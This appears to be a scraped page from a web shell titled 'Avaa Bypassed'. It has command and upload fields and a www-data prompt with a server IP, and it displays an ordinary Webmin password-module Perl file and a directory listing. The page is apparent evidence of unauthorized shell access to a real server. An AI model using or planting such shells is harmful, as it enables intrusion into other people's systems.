[ Avaa Bypassed ]




Upload:

Command:

www-data@3.15.17.212: ~ $
require 'cluster-passwd-lib.pl';

# acl_security_form(&options)
# Output HTML for editing security options for the passwd module
sub acl_security_form
{
print "<tr> <td valign=top><b>$passwd::text{'acl_users'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=mode value=0 %s> %s\n",
	$_[0]->{'mode'} == 0 ? 'checked' : '', $passwd::text{'acl_mode0'};

printf "<input type=radio name=mode value=3 %s> %s<br>\n",
	$_[0]->{'mode'} == 3 ? 'checked' : '', $passwd::text{'acl_mode3'};

printf "<input type=radio name=mode value=1 %s> %s\n",
	$_[0]->{'mode'} == 1 ? 'checked' : '', $passwd::text{'acl_mode1'};
printf "<input name=users1 size=40 value='%s'> %s<br>\n",
	$_[0]->{'mode'} == 1 ? $_[0]->{'users'} : '',
	&user_chooser_button("users1", 1);

printf "<input type=radio name=mode value=2 %s> %s\n",
	$_[0]->{'mode'} == 2 ? 'checked' : '', $passwd::text{'acl_mode2'};
printf "<input name=users2 size=40 value='%s'> %s<br>\n",
	$_[0]->{'mode'} == 2 ? $_[0]->{'users'} : '',
	&user_chooser_button("users2", 1);

printf "<input type=radio name=mode value=4 %s> %s\n",
	$_[0]->{'mode'} == 4 ? 'checked' : '', $passwd::text{'acl_mode4'};
printf "<input name=low size=8 value='%s'> -\n",
	$_[0]->{'mode'} == 4 ? $_[0]->{'low'} : '';
printf "<input name=high size=8 value='%s'><br>\n",
	$_[0]->{'mode'} == 4 ? $_[0]->{'high'} : '';

printf "<input type=radio name=mode value=5 %s> %s\n",
	$_[0]->{'mode'} == 5 ? 'checked' : '', $passwd::text{'acl_mode5'};
printf "<input name=groups size=20 value='%s'> %s<br>\n",
	$_[0]->{'mode'} == 5 ? $_[0]->{'users'} : '',
	&group_chooser_button("groups", 1);
printf "%s <input type=checkbox name=sec value=1 %s> %s<br>\n",
        "&nbsp;" x 5, $_[0]->{'sec'} ? 'checked' : '',$passwd::text{'acl_sec'};

printf "<input type=radio name=mode value=6 %s> %s\n",
	$_[0]->{'mode'} == 6 ? 'checked' : '', $passwd::text{'acl_mode6'};
printf "<input name=match size=15 value='%s'></td> </tr>\n",
	$_[0]->{'mode'} == 6 ? $_[0]->{'users'} : '';

print "<tr> <td><b>$passwd::text{'acl_repeat'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=repeat value=1 %s> $passwd::text{'yes'}\n",
	$_[0]->{'repeat'} ? "checked" : "";
printf "<input type=radio name=repeat value=0 %s> $passwd::text{'no'}</td> </tr>\n",
	$_[0]->{'repeat'} ? "" : "checked";

print "<td><b>$passwd::text{'acl_others'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=others value=1 %s> $passwd::text{'yes'}\n",
	$_[0]->{'others'} == 1 ? "checked" : "";
printf "<input type=radio name=others value=2 %s> $passwd::text{'acl_opt'}\n",
	$_[0]->{'others'} == 2 ? "checked" : "";
printf "<input type=radio name=others value=0 %s> $passwd::text{'no'}</td> </tr>\n",
	$_[0]->{'others'} == 0 ? "checked" : "";

print "<tr> <td><b>$passwd::text{'acl_old'}</b></td> <td colspan=3>\n";
printf "<input type=radio name=old value=1 %s> $passwd::text{'yes'}\n",
	$_[0]->{'old'} == 1 ? "checked" : "";
printf "<input type=radio name=old value=2 %s> $passwd::text{'acl_old_this'}\n",
	$_[0]->{'old'} == 2 ? "checked" : "";
printf "<input type=radio name=old value=0 %s> $passwd::text{'no'}</td> </tr>\n",
	$_[0]->{'old'} == 0 ? "checked" : "";
}

# acl_security_save(&options)
# Parse the form for security options for the bind8 module
sub acl_security_save
{
$_[0]->{'mode'} = $in{'mode'};
$_[0]->{'users'} = $in{'mode'} == 1 ? $in{'users1'} :
		   $in{'mode'} == 2 ? $in{'users2'} :
		   $in{'mode'} == 5 ? $in{'groups'} :
		   $in{'mode'} == 6 ? $in{'match'} : undef;
$_[0]->{'low'} = $in{'low'};
$_[0]->{'high'} = $in{'high'};
$_[0]->{'repeat'} = $in{'repeat'};
$_[0]->{'old'} = $in{'old'};
$_[0]->{'others'} = $in{'others'};
$_[0]->{'expire'} = $in{'expire'};
$_[0]->{'sec'} = $in{'sec'};
}


Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
CHANGELOG File 128 B 0644
acl_security.pl File 3.62 KB 0755
change-passwd.pl File 1.84 KB 0755
cluster-passwd-lib.pl File 4.09 KB 0755
config File 39 B 0644
config.info File 160 B 0644
config.info.ca File 190 B 0644
config.info.cs File 206 B 0644
config.info.de File 163 B 0644
config.info.el File 311 B 0644
config.info.es File 208 B 0644
config.info.fr File 220 B 0644
config.info.hr File 0 B 0644
config.info.hu File 0 B 0644
config.info.ms File 187 B 0644
config.info.nl File 181 B 0644
config.info.no File 174 B 0644
config.info.pl File 214 B 0644
defaultacl File 64 B 0644
edit_passwd.cgi File 1.44 KB 0755
index.cgi File 1.5 KB 0755
log_parser.pl File 447 B 0755
module.info File 205 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 118 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 170 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 178 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 193 B 0644
module.info.ca File 127 B 0644
module.info.cs File 31 B 0644
module.info.cs.auto File 77 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 116 B 0644
module.info.de File 102 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 230 B 0644
module.info.es File 41 B 0644
module.info.es.auto File 90 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 123 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 193 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 109 B 0644
module.info.fr File 50 B 0644
module.info.fr.auto File 95 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 142 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 113 B 0644
module.info.hu File 40 B 0644
module.info.hu.auto File 75 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 135 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 151 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 146 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 132 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 107 B 0644
module.info.ms File 118 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 117 B 0644
module.info.nl File 38 B 0644
module.info.nl.auto File 91 B 0644
module.info.no File 31 B 0644
module.info.no.auto File 74 B 0644
module.info.pl File 112 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 124 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 130 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 122 B 0644
module.info.ru File 0 B 0644
module.info.ru.auto File 171 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 111 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 104 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 114 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 257 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 130 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 183 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 171 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 140 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 94 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 100 B 0644
prefs.info File 38 B 0644
save_passwd.cgi File 1.65 KB 0755